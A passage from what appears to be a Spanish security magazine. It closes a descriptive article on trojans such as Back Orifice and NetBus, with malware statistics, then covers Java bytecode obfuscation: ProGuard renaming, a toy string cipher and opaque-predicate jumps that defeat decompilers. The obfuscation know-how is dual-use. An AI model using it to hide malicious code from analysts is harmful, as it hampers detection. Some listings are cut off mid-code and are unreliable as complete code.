predeterminado del servidor de forma muy rápida. De todas formas, los piratas informáticos (y losresponsables de seguridad) suelen utilizar herramientas mucho más sofisticadas para rastrear los posibles objetivos. Ya se ha indicado una de las grandes diferencias entre estos dos troyanos: Back Orifice no corre en Windows NT. Por otra parte, Back Orifice es capaz de cifrar la comunicación entre el cliente y el

Programas malignos

servidor, algo que no hace NetBus. En cambio, este último permite ciertas lindezas adicionales, como abrir y cerrar la unidad de CD-ROM o modificar las funciones de los botones del ratón. Otra diferencia importante es el tamaño del servidor. La última versión del servidor de NetBus (NetBus Pro 2.0) supera los 600 Kb, mientras que el servidor de Back Orifice 1.2, sólo ocupa 122 Kb. El tamaño resulta importante cuando el atacante quiere ocultar el caballo de Troya dentro de una aplicación. Resulta menos sospechoso un aumento de 122 Kb que uno de 600 Kb con respecto a la aplicación original. Por último, la versión más reciente de NetBus presenta nuevas opciones, pero es su nueva ventana de gestión del cliente, con ayuda en línea incluida, donde marca la diferencia con respecto a Back Orifice. La instalación y la aplicación resultan tan profesionales, que su frase de presentación casi parece cierta: NetBus Pro es una herramienta para la administración remota de ordenadores, de fácil uso y con un amigable entorno de gestión. Estadísticas obtenidas por la empresa de Antivirus Kaspersky Lab durante el primer semestre del año 2006, mostraron que la cantidad de nuevos códigos del tipo caballo de Troya – incluyendo modificaciones – se incrementó mensualmente en un ocho por ciento, comparado con un período similar en 2005. Entre los más frecuentes estuvieron los clasificados como puertas traseras, que abren puertos de comunicación para la recepción de órdenes enviadas remotamente por un atacante, así como los

Sobre el Autor

Carlos Javier Fornés Cabrera Ingeniero Telecomunicaciones y electronica Laboratorio Antivirus Latinoamericano. SEGURMATICA [email protected] Ciudad de la Habana – CUBA

descargadores, que una vez ejecutados por el usuario intentan descargar otros códigos desde Internet. También estuvieron los ladrones de passwords, que usurpan contraseñas empleadas en los sistemas, y los programas espía, los cuales auditan las acciones realizadas en los sistemas afectados. La causa fundamental de esta mayor propagación de troyanos fue su empleo en la creación de redes de computadoras robots o zombies, muy utilizadas en el envío de correo basura o spam y en el robo de datos personales e información corporativa. Según Kaspersky Lab, en igual intervalo de tiempo, los gusanos y los virus tuvieron un decremento del uno por ciento en las muestras mensuales, siendo apreciable además la disminución de epidemias globales causadas por los que se propagan por medio del correo electrónico. En cuanto a este último aspecto, la organización MessageLabs detectó que 1 de cada 92 mensajes revisados desde Mayo a Octubre de 2006 contenía código maligno, cifra muy inferior a la relación uno de cada diez alcanzada en Abril de 2004. La relación de programas malignos más detectados por su servicio de revisión de mensajes en los últimos 12 meses la encabezó el gusano Sober.y. Es importante señalar que aun cuando el número de las grandes epidemias globales decreció, precisamente a finales de Octubre de 2006 comenzó la propagación más importante del año, que se trató de una familia de códigos malignos llamada Warezov, difundidos por e-mail y que al ser ejecutados por el usuario receptor intentaron la descarga de otros componentes desde Internet; aunque su aspecto más interesante y peligroso fue la cantidad de nuevas variantes diferentes distribuidas en pocas horas. Existen muchos tipos de códigos malignos que no pudiéramos mencionarlos en un solo artículo.

www.hakin9.org

De tipo Espías, se hospedan en el equipo y aparentemente no hace nada, pero sin embargo están vigilando toda tu actividad, contraseñas, número de tarjetas de créditos y otros datos importantes. Los recopila los manda por diferentes vías al atacante. Programas malignos que estafan, simulan ser una sucursal bancaria imitando una página web de algún banco para que el usuario que es su banco real y al introducir los datos bancarios, los copia y los envía al atacante. Programas Malignos que chantajean, infectan el equipo y solicitan depositar dinero en algún lugar o descargar una herramienta en Internet pagando por ella, con el fin de desinfectar el equipo y hacerlo inmune a este tipo de software. Cada vez es mayor la creatividad de algunos autores de códigos malignos, que si bien en algunos casos retoman experiencias anteriores, ahora buscan nuevas variantes e incluso campos de acción, como la telefonía inteligente. Según Raimund Genes, director de sistemas de la compañía Trend Micro, un código maligno tipo exploit que se aprovecha de una vulnerabilidad en Windows Vista no publicada, tiene un precio de venta aproximado de 50.000 dólares y de entre 20.000 ó 30.000 dólares para otros sistemas y aplicaciones. Los programas malignos que se emplean en el envío de spam o correo basura cuestan alrededor de 5.000 dólares, mientras que los elaborados para crear y controlar las redes zombies o botnets se venden entre 5.000 a 20.000 dólares. Otro tanto sucede con los utilizados en el robo de información, con un precio que varía entre 5.000 y 20.000 dólares. Tal como plantea Sergio Santos, especialista de Hispasec, y ha venido denunciando Eugene Kaspersky, reconocido experto internacional en la temática, los creadores de programas malignos tienen así una motivación económica con la creación de un producto para un mercado concreto que se rige por la ley de la oferta y la demanda. l

55

Ofuscación de Código en Java Defensa Javier Alcubierre

Grado de dificultad

Los actuales lenguajes de bytecodes como Java presenta muchas ventajas, pero uno de los inconvenientes que poseen es que son fáciles de descompilar, lo que permite no solo obtener el código máquina sino obtener código de alto nivel similar al escrito por el programador.

E

sto supone una ayuda apreciable para desentrañar el funcionamiento interno del programa. Pero no solo está en peligro ese código que tantas horas nos ha costado construir y que preferimos que siga oculto, además puede servir como valiosa fuente de información para posibles ataques contra nuestra aplicación. Desgraciadamente el alto nivel de los lenguajes máquina usados en estas máquinas virtuales y su rigidez en lo que consideran un código valido y seguro para ejecutar, nos deja con pocas opciones usar técnicas que intenten confundir al descompilador. Solo nos queda intentar confundir al humano que usa el descompilador. El fin de la ofuscación es complicar la vida al curioso que descompilar nuestro código, en lugar de encontrarse con un relativamente sencillo de entender código de alto nivel choca con un código confuso y difícil de desentrañar. La ofuscación no impide que se pueda acabar sacando el código original, pero dificulta el trabajo. Con suerte lo dificulta tanto que el curioso pronto pierde su curiosidad. Un error es pensar que el atacante quiere todo el código de nuestra aplicación, lo más

56

probable es que solo esté interesado en una pequeña parte del código e incluso que no esté interesado para nada en copiar el código, que su único fin sea descubrir como funciona alguna parte de nuestro código, quien sabe con que fin. A lo largo de este artículo vamos a ver como funcionan las diferentes técnicas de ofuscación y algunos de sus puntos débiles. Para empezar necesitaremos un archivo que proteger en este caso nuestro fin será proteger el archivo math.java (Listado 1) de posibles ataques de los curiosos. Para ello usare-

En este artículo aprenderás... • • •

A proteger tu código de miradas indiscretas, Los puntos fuertes y débiles de los distintos métodos de ofuscación, A implementar tus propios métodos de ofuscación.

Lo que deberías saber... • •

www.hakin9.org

Conocimientos de Java, Conocimientos básicos de ensamblador.

Código Java

mos varias herramientas y recursos, se podría haber hecho con menos herramientas, pero creo que será útil que el lector pueda conocer cuantas más mejor.

Nuestras armas

Antes de empezar la batalla es bueno que conozcamos un poco nuestras armas, por desgracia explicar el funcionamiento de todas ellas va más allá del fin, y del espacio, de este artículo. Se van a usar varias aplicaciones, no quiere decir que sean las únicas que hay o que sean las mejores, para elegirlas se ha procurado valorar su calidad, fama, comodidad de uso, que sean fáciles de conseguir, que estén bien documentadas y a ser posible que su código esté disponible por si el lector quisiera profundizar más en su funcionamiento. La dirección de la página web de cada una de las aplicaciones se puede encontrar en el recuadro En la Red al final del artículo, desde esas direcciones podréis descargar los programas además de encontrar completa informa-

ción de como instalarlos y manuales de uso. La primera herramienta que usaremos será el ya de sobras conocido JDK de Sun, por lo que nos ahorraremos explicar qué es y cómo funciona. Para desensamblar los .class a código ensamblador usaremos Jasper, de esa forma obtendremos un archivo de texto que podremos modificar a mano. Para volver a convertir este lenguaje ensamblador a bytecodes usaremos Jasmin ya que el lenguaje ensamblador que usan ambos programas es idéntico. Probaremos que resultado dan nuestras técnicas descompilando con JODE, que a su vez también permite ofuscar código. Aunque procuraremos hacer nuestra propias técnicas, en la parte de ofuscación de nombres se ha optado por usar ProGuard una excelente aplicación que además de ofuscar permite optimizar y reducir el tamaño de los ficheros de bytecodes. Una vez que se ha pasado lista a todas nuestras tropas vamos a empezar a usarlas. Empezaremos por compilar nuestro código, en este

caso el fichero math.java (Listado 1). Para ello basta con tener instalado el JDK y ejecutar el siguiente comando: javac math.java

Una vez obtenido math.class los vamos a descompilar usando JODE, para ello, desde usamos el comando (cuidado de no sobrescribir el math.java original): java jode.decompiler.Main math > math.java

Podemos ver el resultado en el Listado 2. El código obtenido es casi similar al original, aunque el nombre de las variables es más inteligible, resulta sencillo de entender. Nuestro fin es que este código resulte tan difícil de entender como podamos. Veamos ahora como es el código a nivel de lenguaje máquina, para ello desensamblaremos el .class usando Jasper. El comando es muy sencillo: java –jar Jasper.jar math.class

Listado 1. Código de ejemplo sobre el que se va a trabajar import java.io.*; public class math{ public int factorial(int numero){ for(int indice = numero-1; indice > 1; indice--) numero = indice * numero; return numero; } public int rand(int inicio, int fin){ return (int)(Math.random() * fin) + inicio; } public int equal(int a, int b){ if(a == b) return 0; else if(a > b) return 1; else return -1; } public static void main(String args[]){ System.out.println("New math"); math m = new math(); System.out.println("Call math.factorial()"); System.out.println(m.factorial(5)); System.out.println("Call math.rand()"); System.out.println(m.rand(0,5)); System.out.println("Call math.equal()"); System.out.println(m.rand(1,5)); } }

www.hakin9.org

Se genera un archivo math.j con el código en ensamblador en forma de texto plano. En el recuadro En la Red podéis encontrar un link a una referencia completa de este lenguaje. El resultado es demasiado grande como para incluirlo por lo que solo incluiremos la función rand que podéis ver en el Listado 3. Viendo el código vamos a intentar explicar algunas bases del lenguaje ensamblador usado y de la propia máquina virtual de Java. Si nos fijamos en la primera línea del Listado 3, veremos que es donde se declara el nombre del método rand. .method

public rand(II)I

Las dos I entre paréntesis indica que recibe dos parámetros de tipo Integer y la I fuera de los paréntesis que el método devuelve a su vez un Integer. .limit stack

4

57

Defensa

Indica la cantidad de espacio en la pila que va a usar esta función. La pila esta dividida en distintos bloques cada uno de un tamaño de un Integer. Java opera directamente sobre la pila. .limit locals

3

Indica el número de variables locales usadas en el método. .line 12

Es un etiqueta de depuración, indica a que numero de línea del código fuente original corresponden las siguientes instrucciones en código máquina. Los operandos van precedidos de una letra i, l, d, f que indica si operan sobre datos de tipo integer, long, double o float respectivamente. Estas mismas letras se usan para las instrucciones de conversión para indicar el tipo de origen y el de destino. Por ejemplo i2d convierte el primer elemento de la pila de tipo integer a tipo double .

Con esto ya tenemos suficiente para trabajar en los próximos apartados.

Ofuscación de nombres

La primera de las técnicas que vamos a ver consiste en ofuscar los nombres de los métodos, clases y paquetes, cambiándolos por otros menos descriptivos como pueden ser a, b, c. La idea es simple pero puede llegar a causar más de un dolor de cabeza en quien intenten entender el código fuente. Es más sencillo entender el significado de una función llamada factorial(int n) que una cuyo nombre es a(int n). En el primer caso el nombre te escribe claramente su función mientras que en el segundo no queda más remedio que analizar el código de la función. Vamos a ver como funciona con nuestro ejemplo math.java (Listado 1), para ello vamos a usar ProGuard. Para poder usar ProGuard necesitamos crear un archivo de configuración que le indique a ProGuard con que ficheros trabajar y como hacerlo. El fichero, al que llamare-

Listado 2. Resultado de descompilar math.class public class math { public int factorial(int i) { for (int i_0_ = i - 1; i_0_ > 1; i_0_--) i = i_0_ * i; return i; } public int rand(int i, int i_1_) { return (int) (java.lang.Math.random() * (double) i_1_) + i; } public int equal(int i, int i_2_) { if (i == i_2_) return 0; if (i > i_2_) return 1; return -1; } public static void main(String[] strings) { System.out.println("New math"); math var_math = new math(); System.out.println("Call math.factorial()"); System.out.println(var_math.factorial(5)); System.out.println("Call math.rand()"); System.out.println(var_math.rand(0, 5)); System.out.println("Call math.equal()"); System.out.println(var_math.rand(1, 5)); } }

58

www.hakin9.org

Listado 3. Método rand (int inicio, int fin) en lenguaje maquina .method .limit stack .limit locals .line invokestatic iload_2 i2d dmul d2i iload_1 iadd ireturn .end method

public rand(II)I 4 3 12 java/lang/Math /random()D

mos math.pro, podemos verlo en el Listado 4. En la primera línea se indica el nombre del jar a ofuscar, en la segunda el nombre que tendrá el .jar con el código ofuscado. La opción de -libjars indica que librerías usa la aplicación. Como solo queremos ofuscar tenemos que indicar que no realice optimizaciones ni reduzca el código para ello usamos -dontshrink y -dontoptimize. Por último la opción de –keepclasseswithmembers sirve para evitar que ofusque el método main ya que es necesario para que se pueda ejecutar la aplicación. Como ProGuard funciona con archivos .jar tendremos que crear nuestro propio jar a partir de math.class, para ello una vez compilado usando: javac math.java

Crearemos el jar con: jar cvfM math.jar math.class

Ahora ya podemos ejecutar ProGuard. java -jar proguard.jar @math.pro

Por último extraeremos el fichero math.class de math.jar Jar xf math_out.jar

Obtendremos el fichero math.class, solo queda comprobar los nombre de los métodos que contiene, el

Código Java

resultado lo podemos ver en el Listado 5. javap math

Se puede ver que ha llamado a dos métodos de la misma manera pese a ser diferentes, lo que puede complica aun más el descifrar el funcionamiento del programa.

Uno de los principales puntos débiles de esta técnica es que no se pueden ocultar los puntos de entrada, la función main sigue teniendo la misma firma: public static void main(String args[])

Es necesario para que la máquina virtual de Java sepa por donde tiene

Listado 4. Archivo de configuración para ofuscar nombres usando ProGuard -injars math.jar -outjars math_out.jar -libraryjars \lib\rt.jar -dontshrink -dontoptimize -keepclasseswithmembers public class * { public static void main(java.lang.String[]); }

Listado 5. Firmas obtenidac con javap después de ofuscar nombres public class math extends java.lang.Object{ public math(); public int a(int); public int a(int, int); public int b(int, int); public static void main(java.lang.String[]); }

Listado 6. Clase para cifrar y descifrar cadenas de texto import java.math.BigInteger; public class Cipher { public static BigInteger descipher(byte[] text, byte[] key) { BigInteger a = new BigInteger(text); BigInteger b = new BigInteger(key); a = a.divide(b); return a; } public static BigInteger cipher(String text, String key) { BigInteger a = new BigInteger(text.getBytes()); BigInteger b = new BigInteger(key.getBytes()); a = a.multiply(b); return a; } public static void main(String args[]) { if (args.length < 2) { System.out.println("java cipher text key"); System.exit(1); } byte[] c = cipher(args[0], args[1]).toByteArray(); System.out.print("{"); for (int i=0; i hello.txt

Con estos pasos habremos obtenido un archivo hello.txt con el siguiente contenido: {29, -123, -30, -71, 71, -40, 113, -21, 80, 43, 26, -92, 59, -102, 41, 86, 79}

60

www.hakin9.org

Código Java

Que no es otra cosa que la cadena cifrada, que se tendrá que pasar junto con la clave al método de descifrado para obtener el texto original. El descifrado funciona exactamente igual que el cifrado, difiere en las operaciones que se realizan ya que hay que deshacer el cifrado, en este caso basta con dividir. En el Listado 7 se puede ver un hola mundo con la cadena cifrada. Para simplificar el ejemplo y facilitar su comprensión se han cometido algunos errores que no se deben de cometer en un caso real. Para empezar el método de descifrado no debe llamarse descipher ni nada parecido, la clave usada no debe de ponerse directamente en forma de cadena de texto y por último se debe de intentar ocultar en todo lo posible que el valor devuelto por ese método se convierte en una cadena de texto.

Ofuscación de código

La ofuscación del código consiste en enrevesar tanto el código que resulte difícil de entender tanto por las personas como por los programas de desensamblado o descompilado. Se puede realizar por dos vías, ofuscando el código de alto nivel y ofuscando el código máquina. La primera vía puede parecer la más sencilla, pero convertir el código fuente en algo inteligible requiere experiencia e imaginación, bien aplicada puede ser realmente difícil de descifrar, aunque un curioso suficientemente motivado podría desentrañar poco a poco el funcionamiento del código. Este primer método se la dejo al lector para que haga sus pruebas y desarrolle sus trucos, es fácil encontrar gran cantidad de ejemplos, sobretodo en leguaje C, de código ofuscado. Nos vamos a ocupar de la segunda vía, la de ofuscar a nivel de código máquina. La idea es modificar el código de tal forma que el descompilador sea incapaz de obtener código de alto nivel a partir del de bajo nivel. Para ello vamos a jugar con el flujo del código de tal manera que le sea imposible al descompilador reconstruirlo. Para ello tenemos que buscar instrucciones a nivel de código má-

quina que no tengan equivalente en lenguaje de alto nivel. Si miramos el listado de instrucciones vemos que podemos usar la instrucción goto que realiza un salto incondicional a una etiqueta. Pero solo con eso no es suficiente, el desensamblador es capaz de organizar el código para prescindir de la sentencia goto. Debemos evitar que el ensamblador sepa que camino va seguir el código, para ello usaremos sentencias de salto condicional. Es muy importante que en los bloques de código que incluyamos no alteremos la pila, hemos de dejarla tal y como estaba antes de ejecutar nuestro código. Tampoco podemos sobrepasar el tamaño de la pila, y no podemos saltar a ninguna parte del código en el que pueda haber variables no inicializadas. Vamos a ver un ejemplo, como el método factorial de math.java. Para ello como ya hemos visto desensamblamos usando Jasper, el código del método desensamblado está en el Listado 8 y en el Listado 9 el código modificado. Si nos fijamos solo incluimos dos bloques de código, uno al principio con una condición que envía al principio del código del método o salta casi al final del método, justo antes del segundo bloque, que hace lo mismo o manda al principio del código o salta al final de la aplicación. La condición comprueba si los dos últimos datos almacenados en la pila son iguales y si lo son salta. Se puede ver que la condición se cumplirá siempre ya que en las operaciones anteriores hemos almacenados dos ceros en las pilas. Por lo que en el primer bloque se saltará al inicio del código original del método y en el segundo al final del método con lo que todo se ejecutara con normalidad, pero el descompilador no lo sabe y tendrá que encontrar la manera de pasar ese código a Java, sin embargo Java no permite los saltos dentro del código y el descompilador no es lo suficientemente hábil como para encontrar otra solución. Podemos ver que a pesar de los cambios el programa funciona correctamente

www.hakin9.org

incluyendo las modificaciones en math.j y ensamblando el código con Jasmin. Java Jasmin math.j

Así comprobaremos que la ejecución se realiza sin ningún problema. Sin embargo al intentar descompilarlo nos llevamos una sorpresa, en el Listado 10 se puede ver el código del método factorial descompilado con JODE. Es inteligible y no compila, y eso que hemos usado un ejemplo bastante simple. Combinando varios bloques de estos a lo largo del código de un método, podemos hacer el código indescifrable para el descompilador. El punto débil de este sistema es que el curioso siempre podrá desensamblar el código e intentar arreglar Listado 9. Cambios introducidos en factorial (int numero) para ofuscar su código .method public factorial(I)I .limit stack 4 .limit locals 3 .line 6 iconst_0 iconst_0 if_icmpeq LABELo1 goto LABEL0x13 LABELo1: iload_1 iconst_1 isub istore_2 LABEL0x4: iload_2 iconst_1 if_icmple LABEL0x13 .line 7 iload_2 iload_1 imul istore_1 .line 6 iinc 2 -1 goto LABEL0x4 .line 8 LABEL0x13: iconst_0 iconst_1 if_icmpeq LABELo1 goto LABELfin LABELfin: iload_1 ireturn .end method

61

Defensa

el código para que el descompilador funcione.

Otras técnicas

Para cerrar este artículo se van a comentar algunas técnicas más para complicar la vida a los diversos curiosos.

No incluir información de depuración

Es una buena idea compilar el código Java usando el parámetro –g: none, así se evita que se incluya información de depurado en los bytecodes. Eso dificultara la pruebas para entender el funcionamiento de la aplicación.

Ejecutar el código en remoto

La forma más segura de evitar que desensamblen el código es no dárselo. Para ello lo que podemos hacer es ejecutar la parte del código que queramos proteger en un equipo remoto que consideremos seguro. Esta solución asegura que ningún ojo indiscreto pueda ver el código. Pero presenta más inconvenientes que Listado 10. Resultado obtenido de descompilar factorial (int numero) public int factorial(int i) { IF (false == false) GOTO flow_8_0_ GOTO flow_30_1_ flow_8_0_: int i_0_ = i - 1; for (;;) { IF (i_0_
View more...

Comments

Copyright ©2017 KUPDF Inc.
SUPPORT KUPDF